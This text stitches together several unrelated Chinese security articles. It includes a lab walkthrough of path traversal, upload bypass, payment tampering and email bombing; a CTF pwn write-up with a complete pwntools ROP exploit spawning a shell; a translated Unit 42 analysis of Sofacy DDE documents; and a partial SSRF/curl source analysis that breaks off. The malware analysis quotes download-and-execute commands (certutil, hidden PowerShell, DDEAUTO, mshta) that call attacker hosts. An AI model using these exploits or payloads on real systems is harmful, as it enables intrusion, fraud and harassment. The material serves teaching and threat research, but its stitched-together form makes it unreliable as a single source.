打开网页，看到下载按钮
鼠标右键，点击复制链接地址
构造payload：
file=template/assets/img/1.txt
file=index.php
可以下载index.php，看到php源码
## **mysql配置文件下载**
此题与上题原理相同，不过题目是需要我们下载mysql的配置文件
../mysql/时，执行了下载命令，说明存在mysql目录
file=../mysql/
直接下载my.ini
file=../mysql/my.ini
成功下载
## **文件上传(前端拦截)**
整体浏览网页，选择php类型的文件时会显示不允许上传
将phpinfo后缀名修改为png，burp抓包
将后缀名重新修改为php
点击上传，得到文件路径
成功访问
## **文件上传(畸形文件)**
将文件命名为：
phpinfo.png
burp抓包后将文件名改成.pphphp
phpinfo.pphphp
即可绕过
访问路径
/template/upload/1616405351.php
上传成功
## **支付漏洞**
进入靶场，点击立刻购买时，可以看到我们直接购买了商品
打开burp suite，点击立刻购买时，拦截数据包
可以看到金额为100，我们修改成0.01，然后发包，提示我们花了0.01购买了商品
## **邮箱轰炸**
输入邮箱，点击注册，然后利用burp suite进行抓包
[email protected]
发送到intruder模块
设置payload：
选择Null payload
输入发送次数，20次
## **URL跳转**
整体浏览网页
复制链接地址
构造payload：
url=<https://www.baidu.com>
url=<https://www.bilibili.com>
成功跳转
## **文件包含漏洞**
整体浏览网站，本身就已经证明了是包含漏洞
构造payload：
filename=../../control/upload_file/upload_file_3.php
成功跳转到文件上传页面
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
作者：[Hcamael@知道创宇404实验室](http://0x48.pw)
朋友让我一起看了一道32位的pwn题，好像是国外code blue 2017
ctf上的一道题，开始我感觉32位pwn的姿势我应该都会了吧，结果，又学到了新姿势......
题目链接：<https://github.com/Hcamael/CTF_repo/tree/master/CODE%20BLUE%20CTF%202017/Pwn>
在拿到这题的时候，看了下是32位的，canary都没开，本以为是很简单的题
在`sub_8048ada`函数中发现了一个任意函数调用的漏洞，对于`filter`输入的数值只检测`v3<=2`，而v3是int型，所以可以任意调用小于`0x804b048`的函数，但是参数却不能控制，第一个参数是`fopen("/dev/null")`调用返回的文件流，第二个参数是buf，第三个参数为长度
初次之外就找不到别的漏洞了，在参数无法控制的情况下，只能利用该bin中的本身函数，没有任何getshell的思路
然后在大佬的教导下，我第一次注意到了`setbuf`函数，大部分pwn题都会有这个函数，用来设置IO缓冲区的，第一个参数是文件流，第二个参数表示缓冲区，一般在pwn题中的用法是`setbuf(stdin,
0)`表示标准输入取消缓冲区。
仔细观察还会发现，stdin并不是0，而是在stdio库中设置的一个文件流，所以也是作用在stdio库中的函数，比如`gets`, `puts`,
`fread`, `fwrite`
比如，`gets`函数使用的就是stdin描述符，如果设置了`setbuf(stdin,
buf)`，`gets`函数则会先从buf中获取输入，自己也可以写个简单的代码测试一下
#include<stdio.h>
int main(void)
{
char buf[10];
memset(buf, 0, 10);
buf[0] = '1';
printf(buf);
setbuf(stdout, buf);
printf("test");
write(1, "\n====\n",6);
write(1, buf, 10);
}
然后运行一下
$ ./a.out
1
====
test
可以从结果看出，printf根本没有输出`test`，而是把这个字符串输出到buf缓冲区中了，从而修改了buf中的内容。
因为设置的是stdout的缓冲区，而stdout是stdio库中的文件流，所以write并没有受到影响
还有一个问题，`setbuf`并没有设置长度的参数，设置长度的需要使用`setvbuf`，所以默认情况下setbuf设置的缓冲区长度为默认的4096，这样在该题中就形成了一个攻击链
控制程序跳转到`setbuf`函数，简单的讲就是调用`setbuf(fd=fopen("/dev/null"),
buf1)`，然后在`sub_8048742(no_filter)`函数中调用了`fwrite(fd, 0, buf2,
len)`，这样就能往buf1中写buf2的数据，而buf是存在栈中的，所以可以造成栈溢出，能栈溢出了，下面就是找ROP链了
栈溢出构造逻辑：
add(rop) -> add(buf1) -> buf(buf2) -> add(buf3) -> add(buf4) -> setbuf(fd,
buf4) -> post(buf1) -> post(rop) -> 栈溢出，利用ROP链
下面就是研究怎么构造ROP，我的思路是：
利用printf泄露libc地址 -> 算出system，字符串`/bin/sh`地址 -> 构造出第二个system("/bin/sh")的ROP链 ->
通过fread写入.bss段 -> 利用ROP把栈修改成.bss段 -> 执行第二个ROP system("/bin/sh")
同样也能利用one_gadget，payload下面会放，这里再讨论一个问题
我把栈地址修改成`0x804b100`,执行`system("/bin/sh")`是失败的，然后再和大佬的讨论中发现了几种可能，system需要获取系统的环境变量envp，通过看system的源代码，发现有一个全局指针变量`_environ`指向栈上的envp，如果这个值被覆盖成了一个无效的地址，system则无法执行。但是在该题中，我的第一个rop并不长，所以并没有覆盖掉envp，之后修改了栈地址，也不存在覆盖envp的情况。
然后还有第二种情况，system栈地址空间不足，程序的可读可写地址空间是从`0x804b000-0x804c000`，总长度为0x1000，然后我修改的栈地址为`0x804b100`，所以system可用的栈空间只有0x100，之后我把栈的地址修改成`0x804b700`后，就能成功执行`system("/bin/sh")`了
附上payload:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# context.log_level = "debug"
context.terminal = ['terminator','-x','bash','-c']
def add(p, data):
p.readuntil("> ")
p.sendline("1")
p.readuntil("contents: ")
p.sendline(data)
def post(p, n, offset):
p.readuntil("> ")
p.sendline("3")
p.readuntil("ID (0-4): ")
p.sendline(str(n))
p.readuntil("> ")
p.sendline(str(offset))
def quit(p):
p.readuntil("> ")
p.sendline("4")
def main():
p = process("./mailer",env={"LD_PRELOAD": "./libc.so.6"})
libc = ELF("./libc.so.6")
e = ELF("./mailer")
# gdb.attach(p)
gadget1 = 0x08048dab # pop ebp ; ret
gadget2 = 0x080485f8 # leave ; ret
gadget3 = 0x08048495 # pop ebx ; ret
gadget4 = 0x08048daa # pop edi ; pop ebp ; ret
gadget5 = 0x08048da9 # pop esi ; pop edi ; pop ebp ; ret
one_gadget_sh = 0x56ff5
read_buf = 0x080486D9
stdin_bss = 0x804B060
bss_buf = 0x804b700
rop1 = "a"*0xd
rop1 += p32(e.symbols["printf"]) + p32(gadget3) + p32(e.got["printf"]) # printf(&printf)
rop1 += p32(read_buf) + p32(gadget4) + p32(bss_buf) + p32(0x100) # fread(buf, 1, 0x100, stdin)
rop1 += p32(gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf)
add(p, rop1)
add(p, "b"*255)
add(p, "c"*255)
add(p, "d"*255)
add(p, "e"*255)
post(p, 4, -15)
post(p, 1, 0)
post(p, 0, 0)
quit(p)
p.readuntil(":)\n")
printf_got = u32(p.read(4))
# print hex(printf_got)
system_libc = libc.symbols["system"]
printf_libc = libc.symbols["printf"]
binsh_libc = libc.search("/bin/sh").next()
system_add = printf_got - printf_libc + system_libc
binsh_add = printf_got - printf_libc + binsh_libc
one_gadget = printf_got - printf_libc + 0x3a838
#rop2 = "aaaa" + p32(gadget5) + p32(binsh_add+one_gadget_sh) + "aaaa" + p32(bss_buf) + p32(one_gadget)
rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add)
p.sendline(rop2)
p.interactive()
if __name__ == '__main__':
main()
* * * | 社区文章 |
# 对 Sofacy 黑客组织近期开始使用的 DDE 攻击手段进行分析
|
##### 译文声明
本文是翻译文章，文章原作者 Bryan Lee, Robert
Falcone，文章来源：researchcenter.paloaltonetworks.com
原文地址：<https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Sofacy组织仍然是一个持续的全球威胁。Unit
42和其他机构在2018年上半年展示了这个黑客组织是如何继续针对世界各地的多个组织（主要是在北美和欧洲的政府、外交和其他战略组织）的。
继2018年[2月](https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/)和[3月](https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/)我们对Sofacy最新的研究之后，我们发现了一项新的攻击活动，它使用了一种被广泛认为是属于Sofacy组织的不太知名的工具Zebrocy。Zebrocy主要通过钓鱼攻击来实现，这些攻击包含带有宏的恶意Microsoft
Office文档以及简单的可执行文件附件。这第三次行动与先前报道的两次攻击行动的目标一致：处理外交事务的政府组织。然而，在这种情况下，目标是在不同的地缘政治区域。
我们在这场最新的攻击活动中发现了一个有趣的区别，那就是使用Zebrocy的攻击在目标组织内部形成了一个更宽的网络：攻击者向数量成倍增长的个人发送网络钓鱼电子邮件。这些目标个人没有任何重要的模式可循，电子邮件是使用网络搜索引擎很容易找到的地址。这与其他与Sofacy组织相关的攻击形成了鲜明的对比。在一个组织中通常只有少数几个受害者被集中火力攻击。
除了我们发现的大量Zebrocy攻击之外，我们还观察到了Sofacy组织利用以前McAfee[记录](https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/)的[动态数据交换(Dynamic Data
Exchange/DDE)](https://en.wikipedia.org/wiki/Dynamic_Data_Exchange)攻击技术的实例。然而，我们观察到的实例使用DDE漏洞来传递与以前观察到的不同的payload。在一个实例中，DDE攻击被用来传递和安装Zebrocy。在另一个实例中，DDE攻击被用来提供一个名为[Koadic](https://github.com/zerosum0x0/koadic)的开源渗透测试工具包。Sofacy组织在过去利用了开源或免费提供的工具，但这是Unit
42第一次观察到它们利用Koadic工具包。
## 与以前的攻击的联系
在2月份的报告中，我们发现Sofacy使用带有恶意宏的Microsoft Office文档将SofacyCarberp
payload传递给多个政府组织。在该报告中，我们记录了观察结果，即Sofacy似乎使用传统的混淆技术，通过对每次攻击使用随机的注册人和服务提供商信息来掩盖其基础设施属性。特别是我们注意到Sofacy在每个域名上部署了一个网页。这很奇怪，因为攻击者几乎从未在C2基础设施上设置实际网页。更奇怪的是，每个网页都包含相同的内容。自那份报告发布以来，我们继续对这一奇怪现象进行研究。利用这个，我们发现另一次使用了“DealersChoice”工具包且与二月份我们所看到的类似受害者特征的攻击行动。继续观察，我们还发现了另一个具有相同内容主体的域名，Supservermgr[.]com。该域名于2017年12月20日注册，几天内就被解析为92.222.136[.]105，该域名属于Sofacy经常使用的知名VPS提供商。
不幸的是，在收集时，C2域名已经被第三方sinkhole了。然而，基于对与Supservermgr[.]com域相关联的恶意软件示例的动态和静态分析，我们能够确定几个独特的工件，这些工件允许我们扩展数据集并发现其他东西。首先，我们测定了我们收集的样本[d697160ae…](https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/#IOC)。试图通过hxxp：/upservermgr[.]com/sys/upd/pageupd.php与其C2通信，以检索Zebrocy
[AutoIT](https://en.wikipedia.org/wiki/AutoIt)下载程序。由于域名已失效了，活动无法完成。然而，我们能够确定用于C2通信的唯一的、硬编码的用户代理：
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)
通过AutoFocus，我们以用户代理字符串为核心，使用完全相同的用户代理将我们的数据集扩展到另外三个Zebrocy示例。这使我们在185.25.51[.]198和185.25.50[.]93为Zebrocy提供了更多的基础设施，现在我们已经收集了近30个与原始样本及其相关C2域名的Zebrocy样本。基于这个恶意软件家族特有的工件我们的数据集扩展到了过去几年中使用的数百个示例。大多数附加样本是[ESET](https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/)报告的Delphi和AutoIT变体。然而，有一些样本是Zobracy下载工具的C++变体。此外，我们在Koadic中发现一个完全不同的payload。我们还发现IP地址185.25.50[.]93承载了Delphi后门的C2服务，ESET的报告指出这是攻击最后阶段的payload。
下面是我们所进行的关系分析的Maltego图表：
[](https://p1.ssl.qhimg.com/t01e0393b0770995355.png)
请注意，这不是我们能够收集的所有Zebrocy和Koadic样本图表，只包括提到的或与关系分析有关的样本。
从185.25.50[.]93C2 IP中，我们发现了Zebrocy正在使用的另一个硬编码用户代理：
Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko
我们观察到几个Zebrocy样本使用这个用户代理针对一个中亚大国的外交部。观察这个工件为我们提供了更多的Zebrocy样本。特别是[cba5ab65a…](https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/#IOC)这个样本，将另一个唯一的用户代理字符串与其C2的前一个用户代理结合使用：
Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1
一个恶意软件样本使用两个单独的用户代理字符串的情况并不常见。仔细检查该工具，发现第二个用户代理字符串来自由[cba5ab65a…](https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/#IOC)样本检索的辅助payload。Mozilla
V5.1用户代理的数据显示，还有40多个Zebrocy样本，其中有几个同样针对同一个中亚国家。两个样本，[25f0d1cbc…](https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/#IOC)和[115fd8c61…](https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/#IOC)提供了更多的工件，使得我们能够发现传送Zebrocy和Koadic的攻击文件。
随着时间的推移，检查唯一用户代理字符串的使用情况表明，虽然以前只使用Mozilla/5.0用户代理，但自2017年年中以来，Zebrocy工具已将所有三个用户代理字符串用于其C2通信。
[](https://p3.ssl.qhimg.com/t01095fdc0711ee2477.png)
## DDE文件
由于受害者和策略的改变，使得我们发现的利用DDE( Dynamic Data Exchange)的两个武器化的文档特别令人感兴趣。
检查[25f0d1cbc…](https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/#IOC)时，我们能够从它的C2
220.158.216[.]127支点收集更多的Zebrocy样本以及一份武器化的文档。本文档([85da72c7d…](https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/#IOC))似乎是针对一个处理外交事务的北美政府组织。它利用DDE检索并在受害者主机上安装payload。在这次袭击中部署了一份假文件，其内容据称是联合国关于乌兹别克斯坦共和国的公开文件。
[](https://p2.ssl.qhimg.com/t019080340283f212e2.png)
[](https://p1.ssl.qhimg.com/t01671996b9648edd7c.png)
两个武器化文档的创建者在所有诱饵内容之后，将他们的DDE指令附加到文件的末尾。在Word中打开文档时，说明不会立即可见，因为默认情况下Word不会显示这些字段内容。正如下面的屏幕截图，仅仅尝试突出显示DDE指令所在的行并不会显示它们。
[](https://p2.ssl.qhimg.com/t01d55c1ad761c9ae84.gif)
启用“切换字段代码（Toggle Field
Codes）”功能向我们展示了DDE指令，并显示作者已将指令设置为大小为1的字体，并带有白色颜色。使用白色字体颜色来隐藏武器化文档中的内容是我们[以前报道过的](https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/)一种技术，现在被Sofacy集团用于恶意的宏攻击。
DDE指令试图在受害者主机上运行以下命令，后者试图从远程服务器下载和执行payload：
System32\rundll32.exe
C:\Windows\System32\shell32.dll,ShellExec_RunDLL
C:\Windows\System32\cmd.exe /k certutil -urlcache -split -f
hxxp://220.158.216[.]127/MScertificate.exe & MScertificate.exe"
在分析过程中，我们观察到了这个DDE下载并执行Zebrocy自动下载程序([f27836430…](https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/#IOC))，配置为尝试从220.158.216[.]127下载额外的payload。DDE指令还包括它没有运行的另一个命令，这表明它是这个交付文档以前版本的工件。下面显示了这个未使用的命令，它在Sofacy的基础结构中公开了一个额外的服务器，它将从92.114.92[.]102下载并执行一个编码的PowerShell脚本：
System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W
hidden $e=(New-Object
System.Net.webClient).downloadString('hxxp://92.114.92[.]102:80/d');po
wershell -enc $e #
上面未使用的命令似乎与以前的攻击有关，特别是[McAfee](https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/)和[ESET](https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/)讨论的2017年11月发生的攻击。在这些2017年11月使用DDE启用的文档的攻击中交付的payload是SofacyCarberp，这不同于2018年2月攻击中交付的Zebrocy下载程序。
[115fd8c61…](https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/#IOC)是另一个Zebrocy样本，我们可以通过收集更多的样本连接到它的C2
86.106.131[.]177。正如前面提到的那样，其他一些样本针对的是相同的中亚大国，但更有趣的是，其中一个样本是一份武器化的文件，也利用了DDE，并包含一个非Zebrocy的payload。这个payload被证明是一个开源的渗透测试工具包，名为Koadi。它是一个类似于Metasploit或PowerShell
Empire的工具包，并且可以免费提供给Gitrib上的任何人。
[](https://p5.ssl.qhimg.com/t01218093fbd44565d2.png)
RTF文档([8cf3bc2bf…](https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/#IOC))它的大小非常小，只有264字节，在这里可以看到它的全部内容：
{rtf1{field{*fldinst DDEAUTO "C:\\WIndowS\\SYsTem32\\cMD.eXe
" "/C POWErsHELl.eXE -ex BypaSs -NOP -w HIdDen (NEw- oBjeCT SyStEm.NET.weBCLiENT).dowNloADFILe(
'hxxp://86.106.131[.]177/link/GRAPH.EXE'
, '%apPDAtA%graph.exe' ) ; saps
'%Appdata%graph.exe'"}}}
上面的内容使用Microsoft Word中的DDE功能运行PowerShell脚本，从远程服务器下载Koadi
payload，将其保存为系统上的可执行文件，然后执行。
## 结论
Sofacy
组织在2018年继续其目标明确的攻击行动。正如在这个博客中提到的，Sofacy正在平行地进行运动来攻击世界各地类似的目标，但是使用不同的工具集。与当前这类攻击相关联的Zebrocy工具是根据开发人员选择创建该工具的编程语言，以几种不同的形式构造的。我们观察到了Zebrocy的Delphi、AutoIt和C++变体，它们不仅在功能上相关，而且有时通过在单个攻击中将变体链接在一起而相互关联。无论是通过简单的可执行附件，还是使用以前观察到的DDE攻击技术希望受害者将该文件启动,这些攻击在很大程度上仍然是通过钓鱼攻击进行的。
Palo Alto Networks公司的客户受到下列措施的保护，不受Zebrocy和Koadic的攻击：
* 所有已知的Zebrocy样本在WildFire中都有一个恶意的断言。
* AutoFocus客户可以使用以下标记跟踪此活动：
* [Zebrocy](https://autofocus.paloaltonetworks.com/#/tag/Unit42.ZebrocyDownloader)
* [Koadic](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Koadic)
## 附录
### Zebrocy C++变体
2018年2月19日，我们看到一封钓鱼电子邮件发送给一个中亚国家的一个外交事务组织，该组织试图发送一个附加的用Delphi编程语言编写的Zebrocy下载器(5b5e80f63…)。这个下载器获得了第二个下载程序，在本例中功能非常相似，但是用C++而不是Delphi编写的。
Zebrocy下载程序的这个变体首先收集带有标签“C:””和计算机名称的存储卷的序列号。然后，它在屏幕右下角创建一个不可见窗口(0x0像素)，该窗口将调用Trojan木马的主函数。
Trojan木马程序的主要功能与其配置的C2服务器进行交互，以获取要执行的其他代码。主函数通过调用一个子函数来与其C2通信，该子函数将用作开关语句中的一个用例来解密所需的字符串，从而获得与其C2通信的相关字符串。例如，下面是每个CASE语句(dd7e69e1…)的解密字符串：
Case – String decrypted
1 – 85.25.50[.]93
2 – POST
[http://185.25.50[.]93/syshelp/kd8812u/protocol.php](http://185.25.50%5B.%5D93/syshelp/kd8812u/protocol.php)
HTTP/1.1rnHost: 185.25.50[.]93rnContent-Type: application/x-www-form-urlencodedrnContent-Length:
3 – porg=
4 – Content-Length:
Trojan木马程序使用原始套接字与其C2服务器通信，并使用上面解密的字符串创建HTTP请求。它首先用一个参数1调用这个特定的子函数，以获得C2连接的IP地址。然后，它使用参数2调用子函数，以获取它将用作HTTP
POST请求的字符串。然后，主函数用参数3调用子函数来获取POST数据参数(“porg”)以及卷序列号和计算机名，并通过HTTP
POST请求将数据发送到C2。得到的HTTP POST请求如下所示：
POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1
Host: 185.25.50[.]93
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
porg=44908AE0524f422d
在分析过程中，我们没有看到C2服务器响应我们的请求，但是，我们知道Trojan木马程序将如何解析C2对特定数据的响应。
-1 – Deletes the buffer and exits the Trojan.
009 – Deletes the buffers and exits the Trojan.
如果在HTTP响应开始时没有找到上述任何值，则Trojan木马程序会检查C2响应以获取十六进制字节的ASCII表示形式。Trojan木马程序会将这些十六进制字节转换为二进制值并将其写入文件，并使用ShellExecuteWAPI函数使用“open”函数运行该文件。
我们在Zebrocy C++示例中看到了以下HTTP POST参数：
porg
structOne
oq
volume
### DDE细节
2018年2月袭击事件中使用的DDE文件的作者使用了一些混淆技术以逃避侦查。首先，DDE指令在很大程度上依赖于QUOTE字段，该字段将十进制值转换为它们的ASCII等效字符。此外，作者将“dde”命令中的“E”大写，以避免大写大小写敏感签名。最后，作者在“dde”命令中对“dd”字符进行了粗体处理，该命令将DOCX文件(Word/Docent.xml)的XML中的字符串分割开来，从而使签名开发变得困难，如下所示：
<w:r w:rsidRPr="00E84CED">
<w:rPr>
<w:b/>
<w:noProof/>
<w:color w:themeColor="background1" w:val="FFFFFF"/>
<w:sz w:val="2"/>
<w:szCs w:val="2"/>
</w:rPr>
<w:instrText>dd</w:instrText>
</w:r>
<w:r w:rsidRPr="00E84CED">
<w:rPr>
<w:color w:themeColor="background1" w:val="FFFFFF"/>
<w:sz w:val="2"/>
<w:szCs w:val="2"/>
</w:rPr>
<w:instrText xml:space="preserve">E </w:instrText>
</w:r>
除了前面提到的DOCX文件之外，我们还发现了另一个相关的启用DDE的文档，该文档基于与Zebrocy C2
IP地址重叠的基础设施。这个相关的交付文档是一个RTF文件，它下载并安装了一个payload，用于加载开放源码的koadi工具。我们没有遥测目标或攻击向量，但我们知道RTF文件使用DDE下载和执行一个加载Koadic的可执行文件。
payload(abbad7acd…)是一个可执行文件，它似乎是由VBScript为可执行工具创建的，并使用加密程序进一步混淆。我们的分析显示了一些可能的联系，由[F2KO
Software](http://www.f2ko.de/en/index.php)的VBS到EXE工具，但我们还没有确认是否直接重叠。我们相信参与者在payload上使用了一个密码器，因为它从其资源中获取文件名和脚本，并通过将每个字节乘以负字节来解码这些资源。然后，payload使用MD5散列(14331
D289e737093994395d3fc412afc)，该散列似乎是一个硬编码的SHA1散列(B6A75B1EF701710D7AEADE0FE93DE8477F3BD506)作为RC4密钥来解密得到的解码数据。例如，资源中存在以下数据：
fb 70 b0 c9 bd c5 8a d4 0c 54 fd 4c 6d bb f0 0f
通过将每个字节与-1相乘，我们获得了以下数据：
05 90 50 37 43 3b 76 2c f4 ac 03 b4 93 45 10 f1
在使用RC4和键14331d289e737093395d3fc412afc之后，将显示以下明文数据：
x00x00x00x00FlashRun.vbs
我们没有看到使用此FlashRun.vbs文件名的payload，而是使用临时文件名存储嵌入式VBScript文件，如%temp%4
tmp5.vbs。从资源中检索嵌入式VBScript，并使用与上面讨论的相同的算法对其进行解密，从而得到以下明文：
set objshell = createobject("wscript.shell")
objshell.run "mshta hxxp://86.106.131.177:6500/zIZFh",vbhide
Koadic
C2服务器将用Javascript代码响应这一请求，该代码充当Koadic登台的payload，使参与者能够在终端系统上运行额外的Koadic模块，以执行他们攻击的后续活动。不幸的是，在我们的分析过程中，我们没有观察到Sofacy使用的Koadi模块。
### IOCs
**Domain**
supservermgr[.]com
**URL**
hxxp://supservermgr[.]com/sys/upd/pageupd.php
**Zebrocy**
d697160aecf152a81a89a6b5a7d9e1b8b5e121724038c676157ac72f20364edc
cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df
25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8
115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03
f27836430742c9e014e1b080d89c47e43db299c2e00d0c0801a2830b41b57bc1
5b5e80f63c04402d0b282e95e32155b2f86cf604a6837853ab467111d4ac15e2
dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d
**Koadic**
abbad7acd50754f096fdc6551e728aa6054dcf8e55946f90a02b17db552471ca
**User Agents**
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322;
.NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)
Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko
Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1
**IPs**
185.25.51[.]198
185.25.50[.]93
220.158.216[.]127
92.114.92[.]102
86.106.131[.]177
**DDE Docs**
85da72c7dbf5da543e10f3f806afd4ebf133f27b6af7859aded2c3a6eced2fd5
8cf3bc2bf36342e844e9c8108393562538a9af2a1011c80bb46416c0572c86ff | 社区文章 |
# 浅析SSRF与文件读取的一些小特性
## 0x0 前言
很久之前打比赛的遇到的一个点, 我当时以为这样的读取特性是跟php伪协议有关呢,
之前也看飘零师傅发过朋友圈，但是记忆比较模糊了，刚好最近放假有时间来调试一下才发现原来是curl的锅。
## 0x1 分析问题
引起我的好奇心是一个师傅分析POSCMS的文章的一个tips:
其实我个人觉得师傅这里解释不是很严谨,这个问题其实主要还是出在了curl请求上面，比如我们请求<http://127.0.0.1/1.php?.jpg,那么我们访问的内容就是1.php,而不是名称为`1.php?.jpg`的文件,而`file_get_contents`刚好相反,至于为什么是这样,其实通俗来说原因是按照URL的定义来解析,那么1.php才是资源名,所以才会导致这样的结果>,
但是下面我将从php底层来分析下这个原理,说明白下面两段代码的实现差异。
我们先从两段代码开始看起:
<?php
$url = $_GET['url'];
$file = $url . '.jpg';
var_dump($url);
var_dump($file);
echo file_get_contents($url);
echo '</br>';
echo file_get_contents($file);
?>
<?php
var_dump(ini_get('allow_url_fopen'));
$url = $_POST['url'];
$url = $url . '.jpg';
var_dump($url);
// echo file_get_contents($url);
if(function_exists('curl_init') && function_exists('curl_exec')){
$ch = curl_init($url);
$data = '';
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
curl_close($ch);
var_dump($data);
}
?>
我们经常在代码里面看到下载文件的时候,一般都会有这两种函数去读取文件内容(导致SSRF),
他们一般是先执行`file_get_contents`判断返回结果为`False`的则接着去执行`curl_exec`,否则直接return,
至于为什么这么写,估计是考虑了像我上面列举的情况?
下面我就主要来分析下php底层如何实现`file_get_contents`的功能。
## 0x2 从底层分析file_get_contents
### 0x2.0 debug环境构建
下载:
git clone https://github.com/php/php-src.git
cd php-src
git checkout remotes/origin/PHP-7.2.0
编译:
./buildconf
./configure --enable-debug --disable-all --prefix=/Users/xq17/Desktop/PHPCore/
make && make install
### 0x2.1 开始分析
关于StreamWrapper和protocols的关系: [Supported Protocols and
Wrappers](https://www.php.net/manual/en/wrappers.php)
关于`file://`,[wrapper.file](https://www.php.net/manual/en/wrappers.file.php)
**PHP流的的概念**
我们都知道PHP中的文件操作函数可以打开文件、URL等资源然后返回一个句柄。那么PHP是如何做到使用一致的API对不同数据源进行操作的呢?
其实就得益于PHP在底层对各种操作进行了分装, 再上层将其统一看做成"流"对象,在底层在进行具体解析。
**php7.1.8**
file_get_contents函数的定义
`/ext/standard/file.c` 520 line
解析完参数之后,开始解析流,我们跟入`php_stream_open_wrapper_ex`
`/main/streams/streams.c` 2010 line
跟进`php_stream_locate_url_wrapper` 这个函数
解析协议类型,继续向下看
里面看到`path[n+3]!='/'`这就是为什么我们使用file协议需要:`file:///`的原因
也就是必须要用绝对路径。
这里就是根据协议找出对应的wrapper,没有就回退为`plain_files_wrapper`
<?php
$url = 'file:///flag.php?#123';
file_get_contents($url);
?>
这里我们可以正确返回:`file://`的包装器,下面就是用相应包装器取打开流的操作了。
此时调用栈如下:
可以看到这里经过一些简单的操作就直接把`flag.php?#123`当作文件名传进去了,所以自然是`failed to open stream`
所以说`file_get_contents`对file协议的文件名倒没做什么处理, 不过读者有兴趣可以去研究下`http://`这个协议PHP是如何解析的。
感觉挺有意思的。
## 0x3 从底层分析php curl的流程
那么为什么curl处理file的时候会省略后面的`? or #`的内容呢?
MAC本机调试其实还是挺麻烦的
libcurl 与 curl 的关系
> libcurl and curl 都可以利用多种多样的协议来传输文件
> curl 是开源文件传输的命令行工具,是基于libcurl的基础上而来的。
> libcurl 则是一个免费开源,客户端URL传输库。
> 本文说的PHP的curl其实说的就是libcurl
这里记录下MAC安装Libcurl的过程:
wget https://curl.haxx.se/download/curl-7.68.0.tar.gz
tar -xzvf
cd curl-7.68.0
./configure --enable-debug --prefix=/usr/local/curl
make && make install
然后我们编译下curl扩展,然后再开启
# 修改命令行的Path
export PATH="/Users/xq17/Desktop/个人学习/php扩展学习/debugphp/php7/bin:$PATH"
# 开始编译扩展
phpize
./configure --with-curl=/usr/local/curl
make && make install
接着我们加载扩展,然后调用就好了。
* * *
因为php版本的问题导致我上面的操作失败了,所以后面我直接重新编译一下PHP7.2了
./configure --enable-debug --with-curl=/usr/local/curl --disable-all --prefix=/Users/xq17/Desktop/PHPCore/php7.2
make && make install
然后我们写一个调用的CURL的PHP文件即可。
<?php
$url = 'file:///flag.php?123';
if(function_exists('curl_init') && function_exists('curl_exec')){
$ch = curl_init($url);
$data = '';
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
curl_close($ch);
var_dump($data);
}
?>
我们跟进下`curl_init`函数
然后跟进`php_curl_option_url`
# 当前栈情况
